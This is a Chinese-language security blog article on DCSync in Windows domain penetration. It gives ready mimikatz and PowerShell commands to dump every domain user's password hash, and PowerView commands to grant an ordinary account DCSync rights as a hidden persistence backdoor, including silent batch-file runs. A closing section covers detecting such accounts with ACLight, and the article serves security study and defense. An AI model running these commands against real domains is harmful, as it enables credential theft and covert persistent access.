域渗透——DCSync
2019-07-30 10:17:41 Author: www.4hou.com(查看原文) 阅读量:111 收藏

0x00 前言

DCSync是域渗透中经常会用到的技术,本文会对开源的资料进行整理,结合自己的经验,总结利用和防御检测的方法。

0x01 简介

本文将要介绍以下内容:

· 利用DCSync导出域内所有用户hash的方法。

· 利用DCSync在域内维持权限的方法。

· 自动化检测DCSync后门的方法。

0x02 利用DCSync导出域内所有用户hash的方法

DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash。

利用条件:

获得以下任一用户的权限:

· Administrators组内的用户。

· Domain Admins组内的用户。

· Enterprise Admins组内的用户。

· 域控制器的计算机帐户。

利用原理:

利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据。

参考资料: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47

实现代码:

https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c#L27

利用方法:

1.使用mimikatz

导出域内所有用户的hash:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

导出域内administrator帐户的hash:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

2.powershell实现

https://gist.github.com/monoxgas/9d238accd969550136db

通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能。

导出域内所有用户的hash:

Invoke-DCSync -DumpForest | ft -wrap -autosize

导出域内administrator帐户的hash:

Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

注:获得了域内用户的hash后,进一步利用可参考之前的文章:

《域渗透——Pass The Hash的实现》

《渗透技巧——Pass the Hash with Remote Desktop》

《域渗透——Pass The Hash & Pass The Key》

0x03 利用DCSync在域内维持权限的方法

利用条件:

获得以下任一用户的权限:

· Domain Admins组内的用户。

· Enterprise Admins组内的用户。

利用原理:

向域内的一个普通用户添加如下三条ACE(Access Control Entries):

· DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)

· DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

· DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

该用户即可获得利用DCSync导出域内所有用户hash的权限。

实现代码:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L8270

利用方法:

添加ACE的命令如下:

Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

补充:

删除ACE的命令:

Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

注:关于更多ACL的内容可参考之前的文章:《渗透技巧——Windows下的Access Control List》

使用域用户test1调用DCSync的方法如下:

1.在域内一台登录了test1用户的主机上面,直接使用mimikatz的DCSync功能

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

2.使用runas实现登录test1用户,再使用DCSync

(1)弹出cmd

runas /noprofile /user:test\test1 cmd

弹出的cmd下执行如下命令:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

(2)不弹框实现

runas /noprofile /user:test\test1 c:\test\1.bat

1.bat的内容如下:

c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt

注:同类的工具还有lsrunas、lsrunase和CPAU。

3.使用powershell实现登录test1用户,再使用DCSync

(1)弹出cmd

$uname="test\test1"                                                      
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)        
Start-Process -FilePath "cmd.exe" -Credential $cred

弹出的cmd下执行如下命令:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

(2)不弹框实现

$uname="test\test1"                                                      
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)        
Start-Process -FilePath "c:\test\1.bat" -Credential $cred

1.bat的内容如下:

c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt

注:使用wmic在本机实现登录用户test1会失败,错误如下:

ERROR:
Description = User credentials cannot be used for local connections

0x04 自动化检测DCSync后门的方法

具有高权限但不在高权限组的用户被称之为Shadow Admin,例如0x03中的域用户test1,仅通过查询高权限组的成员无法发现域内的Shadow Admin。

检测原理:

枚举Active Directory中所有用户的ACL,标记出特权帐户。

实现代码:

https://github.com/cyberark/ACLight

利用条件:

· Powershell v3.0。

· 域内普通用户权限。

检测方法:

执行项目中的Execute-ACLight2.bat

生成三个文件:

· Privileged Accounts – Layers Analysis.txt

· Privileged Accounts Permissions – Final Report.csv

· Privileged Accounts Permissions – Irregular Accounts.csv

文件中会显示出所有特权帐户。

经测试,ACLight能够检测出被添加DCSync权限的用户test1。

0x05 小结

本文介绍了域渗透中DCSync的利用和自动化检测的方法,站在防御的角度,建议使用ACLight对域环境的用户ACL进行检测。


文章来源: https://www.4hou.com/penetration/19448.html
如有侵权请联系:admin#unsafe.sh